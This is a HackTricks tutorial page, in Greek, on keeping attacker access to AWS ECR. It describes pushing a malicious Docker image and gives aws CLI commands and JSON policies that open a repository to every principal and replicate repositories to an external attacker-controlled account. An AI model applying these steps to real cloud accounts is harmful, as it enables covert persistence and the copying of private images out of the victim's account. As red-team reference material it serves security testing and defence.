AWS - ECR Persistence

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

ECR

Για περισσότερες πληροφορίες ελέγξτε:

AWS - ECR Enum

Κρυφή Εικόνα Docker με Κακόβουλο Κώδικα

Ένας επιτιθέμενος θα μπορούσε να μεταφορτώσει μια εικόνα Docker που περιέχει κακόβουλο κώδικα σε ένα αποθετήριο ECR και να τη χρησιμοποιήσει για να διατηρήσει τη μόνιμη παρουσία στον στόχο λογαριασμό AWS. Ο επιτιθέμενος θα μπορούσε στη συνέχεια να αναπτύξει την κακόβουλη εικόνα σε διάφορες υπηρεσίες εντός του λογαριασμού, όπως το Amazon ECS ή το EKS, με έναν διακριτικό τρόπο.

Πολιτική Αποθετηρίου

Προσθέστε μια πολιτική σε ένα μόνο αποθετήριο που σας επιτρέπει (ή σε όλους) πρόσβαση σε ένα αποθετήριο:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Σημειώστε ότι το ECR απαιτεί από τους χρήστες να έχουν άδεια για να καλούν το API ecr:GetAuthorizationToken μέσω μιας πολιτικής IAM πριν μπορέσουν να πιστοποιηθούν σε ένα αποθετήριο και να ανεβάσουν ή να κατεβάσουν εικόνες από οποιοδήποτε αποθετήριο Amazon ECR.

Πολιτική Αποθετηρίου & Αντιγραφή Μεταξύ Λογαριασμών

Είναι δυνατό να αντιγράψετε αυτόματα ένα αποθετήριο σε ένα εξωτερικό λογαριασμό ρυθμίζοντας την αντιγραφή μεταξύ λογαριασμών, όπου πρέπει να δηλώσετε τον εξωτερικό λογαριασμό όπου θέλετε να αντιγράψετε το αποθετήριο.

Πρώτα, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο αποθετήριο με μια πολιτική αποθετηρίου όπως:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Στη συνέχεια εφαρμόστε τον ρυθμιστικό παράγοντα αντιγραφής:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated